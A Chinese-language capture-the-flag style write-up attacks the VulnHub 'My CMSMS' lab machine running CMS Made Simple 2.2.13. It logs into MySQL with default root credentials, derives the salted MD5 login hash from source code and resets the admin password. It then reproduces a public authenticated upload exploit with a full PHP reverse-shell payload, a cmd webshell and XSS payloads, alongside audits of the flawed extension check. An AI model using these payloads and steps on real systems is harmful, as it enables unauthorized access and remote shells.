代码审计篇_MD5加盐&XSS$命令执行&My-cmsms靶机

目录

环境来源

whatweb指纹信息

searchsploit漏洞检索

MySql_3306突破

Cms源码文件分析加密动作

Cms源码文件文件上传漏洞审计

Cms源码文件xss漏洞审计

Cms源码文件RCE漏洞


涉及知识点

  • Mycmscms代码审计

  • 漏洞脚本利用

  • MD5加盐密码

  • 文件上传后缀名绕过

  • XSS漏洞代码审计

  • 命令执行漏洞审计

环境来源

vulnhub靶机My CMSMS: 1 ~ VulnHub

nmap -sV -A -p- 192.168.137.241

Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-28 23:17 EDT

Nmap scan report for mycmsms.mshome.net (192.168.137.241)

Host is up (0.00046s latency).

Not shown: 65531 closed tcp ports (reset)

PORT      STATE SERVICE VERSION

22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey:

|   2048 27:21:9e:b5:39:63:e9:1f:2c:b2:6b:d3:3a:5f:31:7b (RSA)

|   256 bf:90:8a:a5:d7:e5:de:89:e6:1a:36:a1:93:40:18:57 (ECDSA)

|_  256 95:1f:32:95:78:08:50:45:cd:8c:7c:71:4a:d4:6c:1c (ED25519)

80/tcp    open  http    Apache httpd 2.4.38 ((Debian))

|_http-server-header: Apache/2.4.38 (Debian)

|_http-title: Home - My CMS

|_http-generator: CMS Made Simple - Copyright (C) 2004-2020. All rights reserved.

3306/tcp  open  mysql   MySQL 8.0.19

| ssl-cert: Subject: commonName=MySQL_Server_8.0.19_Auto_Generated_Server_Certificate

| Not valid before: 2020-03-25T09:30:14

|_Not valid after:  2030-03-23T09:30:14

|_ssl-date: TLS randomness does not represent time

| mysql-info:

|   Protocol: 10

|   Version: 8.0.19

|   Thread ID: 42

|   Capabilities flags: 65535

|   Some Capabilities: ODBCClient, ConnectWithDatabase, SupportsLoadDataLocal, LongPassword, SupportsCompression, Speaks41ProtocolNew, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, IgnoreSigpipes, InteractiveClient, LongColumnFlag, SwitchToSSLAfterHandshake, SupportsTransactions, IgnoreSpaceBeforeParenthesis, FoundRows, Support41Auth, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults

|   Status: Autocommit

|   Salt: \x7F\x01"hyXs&NgUY\x05s%Ebxd\x1B

|_  Auth Plugin Name: mysql_native_password

33060/tcp open  mysqlx?

| fingerprint-strings:

|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:

|     Invalid message"

|_    HY000

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port33060-TCP:V=7.92%I=7%D=4/28%Time=644C8C55%P=x86_64-pc-linux-gnu%r(N

SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\

SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp

SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b

SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers

SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2

SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI

SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")

SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01

SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie

SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x

SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"

SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9

SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\

SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0

SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,

SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0

SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\

SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions

SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x

SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"

SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1

SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000

SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0

SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r

SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0

SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\

SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");

MAC Address: 08:00:27:DA:CF:DD (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 4.X|5.X

OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5

OS details: Linux 4.15 - 5.6

Network Distance: 1 hop

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE

HOP RTT     ADDRESS

1   0.46 ms mycmsms.mshome.net (192.168.137.241)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds

 nmap扫描发现了主机端口的80 与3306mysql服务

whatweb指纹信息

使用whatweb 探测网站的指纹信息

whatweb http://192.168.137.241/

http://192.168.137.241/ [200 OK] Apache[2.4.38], CMS-Made-Simple[2.2.13], Cookies[CMSSESSID2a2f83428536], CountryRESERVED, HTML5, HTTPServerDebian Linux, IP[192.168.137.241], JQuery[1.11.1], MetaGenerator[CMS Made Simple - Copyright (C) 2004-2020. All rights reserved.], Script[text/javascript], Title[Home - My CMS]

        MyCms是一款基于Laravel开发的开源免费的自媒体博客CMS系统,适用于个人网站及企业网站开发使用,也是市面上为数不多提供API接口的CMS其中一员。MyCms基于Apache2.0开源协议发布,免费且不限制商业使用。 [百度百科]

        扫描结果来看 CMS-Made-Simple版本为[2.2.13] 使用searchsploit 检索该CMS的历史漏洞

searchsploit漏洞检索

searchsploit CMS Made Simple


Exploit Title | Path


CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit) | php/remote/46627.rb

CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting | php/webapps/26298.txt

CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion | php/webapps/26217.html

CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting | php/webapps/29272.txt

CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection | php/webapps/29941.txt

CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/32668.txt

CMS Made Simple 1.11.9 - Multiple Vulnerabilities | php/webapps/43889.txt

CMS Made Simple 1.2 - Remote Code Execution | php/webapps/4442.txt

CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection | php/webapps/4810.txt

CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload | php/webapps/5600.php

CMS Made Simple 1.4.1 - Local File Inclusion | php/webapps/7285.txt

CMS Made Simple 1.6.2 - Local File Disclosure | php/webapps/9407.txt

CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting | php/webapps/33643.txt

CMS Made Simple 1.6.6 - Multiple Vulnerabilities | php/webapps/11424.txt

CMS Made Simple 1.7 - Cross-Site Request Forgery | php/webapps/12009.html

CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion | php/webapps/34299.py

CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery | php/webapps/34068.html

CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection | php/webapps/48944.py

CMS Made Simple 2.1.6 - Multiple Vulnerabilities | php/webapps/41997.txt

CMS Made Simple 2.1.6 - Remote Code Execution | php/webapps/44192.txt

CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated) | php/webapps/48779.py

CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload | php/webapps/48742.txt

CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated) | php/webapps/48851.txt

CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS) | php/webapps/49793.txt

CMS Made Simple 2.2.15 - RCE (Authenticated) | php/webapps/49345.txt

CMS Made Simple 2.2.15 - Stored Cross-Site Scripting via SVG File Upload (Authenticated) | php/webapps/49199.txt

CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution | php/webapps/44976.py

CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution | php/webapps/45793.py

CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning | php/webapps/39760.txt

CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py

CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload | php/webapps/34300.py

CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload | php/webapps/34298.py

CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload | php/webapps/46546.py


Shellcodes: No Results

由于目标网站cms是版本2.2.13,这就意味着这2.2.14 2.2.15这些版本的漏洞同样适用于低版本的2.2.13

CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated) | php/webapps/48779.py

CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload | php/webapps/48742.txt

CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated) | php/webapps/48851.txt

CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS) | php/webapps/49793.txt

CMS Made Simple 2.2.15 - RCE (Authenticated) | php/webapps/49345.txt

CMS Made Simple 2.2.15 - Stored Cross-Site Scripting via SVG File Upload (Authenticated) | php/webapps/49199.txt

这些漏洞无一例外都需要认证后才能利用,xss漏洞用来突破边界的可能性不高 事实上这个也需要Authenticated。

分析Arbitrary File Upload (Authenticated) 

分析分析44779.py文件上传漏洞脚本,也可查看48742.txt 漏洞说明

cp /usr/share/exploitdb/exploits/php/webapps/44779.py ./

cp /usr/share/exploitdb/exploits/php/webapps/48742.txt ./

# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)

# Google Dork: -

# Date: 2020-07-29

# Exploit Author: Roel van Beurden

# Vendor Homepage: Open Source Content Management System : : CMS Made Simple

# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip

# Version: 2.2.14

# Tested on: Linux Ubuntu 18.04

# CVE: N/A

\1. Description:

----------------------

CMS Made Simple 2.2.14 allows Authenticated Arbitrary File Upload because the File Manager does not block .ptar and .phtml files. A malicious user can perform remote code execution.

\2. Proof of Concept:

----------------------

- Create .phtml or .ptar file with malicious PHP payload;

- Upload .phtml or .ptar file in the 'File Manager' module;

- Click on the uploaded file to perform remote code execution.

3: Example payload:

----------------------

<?php system($_GET['cmd']);?>

4a: Burp request:

----------------------

GET /cmsms/uploads/rce.phtml?cmd=id HTTP/1.1

Host: 10.10.10.12

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: d2f3b04a992e92af78d4f451813df40fa6f4f4b4=2c462b984c95aa0a8d18f59e2dd21defb7d7e368%3A%3AeyJ1aWQiOjIsInVzZXJuYW1lIjoiUm9lbCIsImVmZl91aWQiOm51bGwsImVmZl91c2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCQ4NS5qSy5nTTMxZmJEQmlGTXlIYlQuUUR5eFRDekpsSVFncjhOS1FMbDhBSUlIUjVYeVNJZSJ9; __c=e9ef732e78dc5a9f603; CMSSESSIDde72be53c754=71mvdcppeeunddtap69k26ia4v

Upgrade-Insecure-Requests: 1

4b: Burp response:

----------------------

HTTP/1.1 200 OK

Date: Thu, 30 Jul 2020 23:14:47 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 54

Connection: close

Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

根据48742.txt的说明我们需要创建一个后缀为.phtml or .ptar的php执行文件,上传点'File Manager' module;

cat 48779.py 漏洞利用脚本

#!/usr/bin/python3
\#-*- coding: utf-8 -*-
\# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)
\# Google Dork: N/A
\# Date: 2020-08-31
\# Exploit Author: Luis Noriega (@nogagmx)
\# Vendor Homepage: https://www.cmsmadesimple.org/
\# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
\# Version: 2.2.14
\# Tested on: Linux Ubuntu 18.04.4 LTS
\# CVE : N/A
\# Usage:
​
\# python3 exploit.py --url http://URL/cmsms/admin/login.php -u admin -p password -lhost LHOST -lport LPORT
​
 
​
from urllib.parse import urlparse
import requests
import argparse
import string
import random
import json
import sys
​
def parse_url(URL):
    t = urlparse(URL)
    return t.scheme+'://'+t.netloc+t.path.split('login.php')[0] + 'moduleinterface.php'
​
 
parser = argparse.ArgumentParser(description='CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload - PHP Reverse Shell')
parser.add_argument('--url', dest='URL', help='URL to admin pane </admin/login.php>', required=True)
parser.add_argument('-u', dest='USERNAME', help='Username', required=True)
parser.add_argument('-p', dest='PASSWORD', help='Password', required=True)
parser.add_argument('-lhost', dest='IP', help='The listen address', required=True)
parser.add_argument('-lport', dest='PORT', help='The listen port', required=True)
​
​
args = parser.parse_args()
login_data = {'username':"", "password":"", "loginsubmit": "Submit"}
PAYLOAD = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = "%s"; $port = "%s"; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {  if (!$daemon) { print "$string\n"; } } ?>'% (args.IP,args.PORT)
​
FILENAME = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(5)) + '.phar'
file = {'m1_files[]': (FILENAME, PAYLOAD)}
upload_data = {"mact":"FileManager,m1_,upload,0", "__c":"", "disable_buffer":"1"}
URL_UPLOAD = parse_url(args.URL)
​
 
​
print("[ + ] Connection to the CMS Made Simple Admin Portal located at "+ args.URL)
​
print("[ + ] Using "+ args.USERNAME +":"+ args.PASSWORD); login_data['username'] = args.USERNAME; login_data['password'] = args.PASSWORD
​
 
​
try:
    session = requests.session()
    req = session.post(args.URL, data=login_data)
    upload_data["__c"] = session.cookies["__c"]
    print ("[ + ] %s logged successfully!"%(args.USERNAME))
    response = requests.post(URL_UPLOAD, files=file, cookies=session.cookies,data=upload_data)
    data = response.json()
    print ("[ + ] %s file uploaded."%(FILENAME))
    URL_TRIGGER = data[0]['url']
    input("[ ! ] Set up your nc listener <nc -nvlp %s>, then press any to exploit.."%(args.PORT))
    print ("[ + ] Pwned!!")
    response = requests.get(URL_TRIGGER, cookies=session.cookies)
    print ("[ + ] Bye")
​
except:
    print ("[ x ] Something went wrong, try again.")
    sys.exit(1) 

对于文件上传代码漏洞脚本的审计 我们思考这几个问题?

该漏洞利用代码需要用户输入什么数据?
        根据注释信息# python3 exploit.py --url http://URL/cmsms/admin/login.php -u admin -p password -lhost LHOST -lport LPORT,作者给出了我们应怎样利用该脚本。

文件上传点在那个位置?
        根据代码函数parse_url 可知上传点在一个moduleinterface.php 页面内

上传pyload内容是什么?
        PAYLOAD = '<?php set...就是了

文件后缀是什么?
        根据代码FILENAME = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(5)) + '.phar' 知作者用的是phar后缀

MySql_3306突破

mysql默认密码登录

在信息收集中我们发现了mysql3306这个端口对外开放, 这就意味着我们可以尝试远程登录mysql 执行sql语句,修改数据库信息。

默认的mysql 登录用户和密码均为root,因此尝试使用这个用户密码登录。

mysql -h 192.168.137.241 -uroot -p

果然登录上去了

查取用户权限

在我们能执行sql语句的情况下我们可以尝试利用mysql导入导出的权限,向web目录下写入木马shell。

show global variables like '%secure_file_priv%';

很明显这条路走不通,导入导出的权限存在目录限制。

收集mysql密码信息

别忘了如果我们能登录网站,就可以利用公开的文件上传漏洞。因此查询网站的用户名密码。

MySQL [cmsms_db]> show tables;

+--------------------------------+

| Tables_in_cmsms_db |

+--------------------------------+

| cms_additional_users |

| cms_additional_users_seq |

| cms_admin_bookmarks |

| cms_admin_bookmarks_seq |

| cms_adminlog |

| cms_content |

| cms_content_props |

| cms_content_props_seq |

| cms_content_seq |

| cms_event_handler_seq |

| cms_event_handlers |

| cms_events |

| cms_events_seq |

| cms_group_perms |

| cms_group_perms_seq |

| cms_groups |

| cms_groups_seq |

| cms_layout_design_cssassoc |

| cms_layout_design_tplassoc |

| cms_layout_designs |

| cms_layout_stylesheets |

| cms_layout_templates |

| cms_layout_tpl_addusers |

| cms_layout_tpl_categories |

| cms_layout_tpl_type |

| cms_locks |

| cms_mod_cmsjobmgr |

| cms_mod_filepicker_profiles |

| cms_module_deps |

| cms_module_news |

| cms_module_news_categories |

| cms_module_news_categories_seq |

| cms_module_news_fielddefs |

| cms_module_news_fieldvals |

| cms_module_news_seq |

| cms_module_search_index |

| cms_module_search_items |

| cms_module_search_items_seq |

| cms_module_search_words |

| cms_module_smarty_plugins |

| cms_module_templates |

| cms_modules |

| cms_permissions |

| cms_permissions_seq |

| cms_routes |

| cms_siteprefs |

| cms_user_groups |

| cms_userplugins |

| cms_userplugins_seq |

| cms_userprefs |

| cms_users |

| cms_users_seq |

| cms_version |

+--------------------------------+

MySQL [cmsms_db]> select * from cms_users;

+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+

| user_id | username | password | admin_access | first_name | last_name | email | active | create_date | modified_date |

+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+

| 1 | admin | fb67c6d24e756229aab021cea7605fb3 | 1 | | | admin@mycms.local | 1 | 2020-03-25 09:38:46 | 2020-03-26 10:49:17 |

+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+

1 row in set (0.001 sec)

显然我们不知道加密前的密码字符,通过hash-identifier 或者hashid这串密文大概率为md5加密。

识别密文串

hash-identifier fb67c6d24e756229aab021cea7605fb3

└─$ hash-identifier fb67c6d24e756229aab021cea7605fb3

#########################################################################

# __ __ __ __ _ #

# /\ \/\ \ /\ \ /__ _\ /\ _ `\ #

# \ \ _\ \ _ \ \ ___ \//\ \/ \ \ \/\ \ #

# \ \ _ \ /'__\ / ,__\ \ \ _\ \ \ \ \ \ \ \ \ #

# \ \ \ \ \/\ _\ _/_, `\ \ \ \ \ \ _\ _ \ \ _\ \ #

# \ _\ _\ ___ _\/_/ \ _\ _\ /__\ \ ____/ #

# \//\//\//\//\// \//\// \/_/ \/___/ v1.2 #

# By Zion3R #

# www.Blackploit.com #

# Root@Blackploit.com #

#########################################################################

--------------------------------------------------

Possible Hashs:

[+] MD5

[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:

[+] RAdmin v2.x

[+] NTLM

[+] MD4

[+] MD2

[+] MD5(HMAC)

[+] MD4(HMAC)

[+] MD2(HMAC)

[+] MD5(HMAC(Wordpress))

[+] Haval-128

[+] Haval-128(HMAC)

[+] RipeMD-128

[+] RipeMD-128(HMAC)

[+] SNEFRU-128

[+] SNEFRU-128(HMAC)

[+] Tiger-128

[+] Tiger-128(HMAC)

[+] md5($pass.$salt)

[+] md5($salt.$pass)

[+] md5($salt.$pass.$salt)

[+] md5($salt.$pass.$username)

[+] md5($salt.md5($pass))

[+] md5($salt.md5($pass))

[+] md5($salt.md5($pass.$salt))

[+] md5($salt.md5($pass.$salt))

[+] md5($salt.md5($salt.$pass))

[+] md5($salt.md5(md5($pass).$salt))

[+] md5($username.0.$pass)

[+] md5($username.LF.$pass)

[+] md5($username.md5($pass).$salt)

[+] md5(md5($pass))

[+] md5(md5($pass).$salt)

[+] md5(md5($pass).md5($salt))

[+] md5(md5($salt).$pass)

[+] md5(md5($salt).md5($pass))

[+] md5(md5($username.$pass).$salt)

[+] md5(md5(md5($pass)))

[+] md5(md5(md5(md5($pass))))

[+] md5(md5(md5(md5(md5($pass)))))

[+] md5(sha1($pass))

[+] md5(sha1(md5($pass)))

[+] md5(sha1(md5(sha1($pass))))

[+] md5(strtoupper(md5($pass)))

--------------------------------------------------

索性就执行sql语句直接修改md5密文了。

UPDATE cms_users SET password='md5(你的密码)' WHERE username='admin'

无论你怎么尝试最后的登录都失败了!

        这中情况下 你最好审计审计代码,看看程序对用户输入的密码做了怎样的处理,比如做了其他编码,双重md5,加前缀加后缀之后再md5,这都是有可能的。所谓加盐就是这个逻辑。

Cms源码文件分析加密动作

找到该cms源码维护网站 下载我们所需要的版本

WebSVN - cmsmadesimple - Rev 13049 - /http://viewsvn.cmsmadesimple.org/listing.php?repname=cmsmadesimple&path=%2F&sc=0

Login.php登录关键代码提取

//无关重要的代码删除了

$user = $userops->LoadUserByUsername($username, $password, TRUE, TRUE);

//调用$userops->LoadUserByUsername()方法,通过用户名和密码加载用户对象。如果用户名和密码正确且用户处于激活状态且具有管理员访问权限,则返回一个User对象,否则返回false。

if( $user ) {//登录成功后的动作}

跟进LoadUserByUsername

function LoadUserByUsername($username, $password = '', $activeonly = true, $adminaccessonly = false)

{

// note: does not use cache

$result = null;

$gCms = CmsApp::get_instance();

$db = $gCms->GetDb();

$params = array();

$where = array();

$joins = array();

$query = "SELECT u.user_id FROM ".CMS_DB_PREFIX."users u";

$where[] = 'username = ?';

$params[] = $username;

//重点放在密码上

if ($password != '') {

$where[] = 'password = ?';

$params[] = md5(get_site_preference('sitemask','').$password);

//将一个由get_site_preference('sitemask','')和$password拼接而成的字符串作为参数,调用md5()函数进行哈希。将哈希后的密码作为$params数组的元素,用于后续的SQL查询。

//最后返回了return $result;某个结果

}

跟进get_site_preference

function get_site_preference($prefname, $defaultvalue = '')

{

return cms_siteprefs::get($prefname,$defaultvalue);

}

跟进cms_siteprefs::get

/**
* A class for working with site preferences
* @package CMS
* @license GPL
* @since 1.10
* @author Robert Campbell (calguy1000@cmsmadesimple.org)
*/

final class cms_siteprefs
{

/**
* @ignore
*/

private function __construct() {}

/**
* @ignore
* @internal
*/

public static function setup()//初始化缓存到全局变量中 调用_read

{

    $obj = new \CMSMS\internal\global_cachable(CLASS,function(){
    return self::_read();
//obj是self::_read添加进去的

    });

    global_cache::add_cachable($obj);//添加到缓存

}



/**

* @ignore
* @internal
*/

private static function _read(){

    $db = CmsApp::get_instance()->GetDb();
    if( !$db ) return;//连接数据库
    $query = 'SELECT sitepref_name,sitepref_value FROM '.CMS_DB_PREFIX.'siteprefs';//字段

//select sitepref_name,sitepref_value from cms_siteprefs


/*CMS_DB_PREFIX 是一个常量,通常用于定义内容管理系统(CMS)中所使用的数据库表名前缀。在许多CMS系统中,为了避免数据库表名冲突,会在表名前添加一个特定的前缀,以便区分不同的表。

例如,如果CMS_DB_PREFIX被定义为 "cms_",那么在CMS系统中,数据库表名可能会类似于 "cms_users"、"cms_posts"、"cms_comments" 等等。这样做的好处是可以方便地在同一个数据库中管理多个CMS系统,而不会出现表名冲突的问题。

在CMS系统中,通常会将 CMS_DB_PREFIX 定义在一个配置文件中,以便在整个系统中都可以使用*/

$dbr = $db->GetArray($query);//注意执行sql语句了
if( is_array($dbr) ) {
    $_prefs = array();
    for( $i = 0, $n = count($dbr); $i < $n; $i++ ) {
        $row = $dbr[$i];
        $_prefs[$row['sitepref_name']] = $row['sitepref_value'];
    }
    return $_prefs;
    }
}
/**
* Retrieve a site preference
* @param string $key The preference name
* @param string $dflt Optional default value
* @return string

*/

public static function get($key,$dflt = ''){
    $prefs = global_cache::get(CLASS);//从缓冲中取出
    if( isset($prefs[$key]) ) return $prefs[$key];

//返回的key就是我们要找的关键salt
//而key是我们输入的sitemask 相当于在prefs中有key这个键吗?如果有返回该键值

    return $dflt;

}

如此找到slat

MySQL [cmsms_db]> select sitepref_name,sitepref_value from cms_siteprefs where sitepref_name='sitemask';

+---------------+------------------+

| sitepref_name | sitepref_value |

+---------------+------------------+

| sitemask | a235561351813137 |

+---------------+------------------+

1 row in set (0.001 sec)

准备 更改admin用户的md5值;

得出md5值: c8915ffe6ec89bb864d44fa09d36b16e

准备sql语句

UPDATE cms_users SET password='c8915ffe6ec89bb864d44fa09d36b16e' WHERE username='admin'

验证是否能正确登录


 

Cms源码文件文件上传漏洞审计

文件上传验证

利用现成的利用脚本

python3 48779.py --url http://192.168.137.241/admin/login.php -u admin -p 123 -lhost 192.168.137.84 -lport 4444

nc -lnvp 4444

文件上传漏洞源码审计

GET请求跟踪参数

//?mact=FileManager,m1_,defaultadmin,0&__c=fb3f271d8f7eca66f5a

if (isset($_REQUEST['mact'])) {

$ary = explode(',', cms_htmlentities($_REQUEST['mact']), 4);

$module = (isset($ary[0])?$ary[0]:'');

$id = (isset($ary[1])?$ary[1]:'m1_');

$action = (isset($ary[2])?$ary[2]:'');

}

/*

$_REQUEST['mact']是一个包含在HTTP请求中的变量,它可能包含一个用逗号分隔的字符串。

explode()函数将该字符串拆分为一个数组,其中每个元素都是原字符串中的一个子串。

cms_htmlentities()函数将数组中的每个元素进行HTML实体编码,以防止跨站点脚本攻击

*/

$modinst = ModuleOperations::get_instance()->get_module_instance($module);

//加载模块

if( !$modinst ) {//加载失败

trigger_error('Module '.$module.' not found in memory. This could indicate that the module is in need of upgrade or that there are other problems');

redirect('index.php'.$urlext);

}

找到调用的模块

protected function is_file_acceptable( $file )

{

$config = \cms_config::get_instance();

if( !$config['developer_mode'] ) {

$ext = strtolower(substr(strrchr($file, '.'), 1));

if( startswith($ext,'php') || endswith($ext,'php') ) return FALSE;

}

return TRUE;

}

可以看出 分割后只匹配了php 没有考虑到phtml phar 文件后缀格式。

Cms源码文件xss漏洞审计

查看漏洞完整路径

searchsploit -p php/webapps/49345.txt

# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)

# Date: 2021/03/19

# Exploit Author: bt0

# Vendor Homepage: Open Source Content Management System : : CMS Made Simple

# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip

# Version: 2.2.15

# CVE: CVE-2021-28935 CVE -CVE-2021-28935

-----------------------------------------------------------

If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field

Reflected XSS in /admin/addbookmark.php

Some payloads that works:

"><script>prompt(1)</script><"

"><script>alert(1)</script><"

63311';alert(1)//812

//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

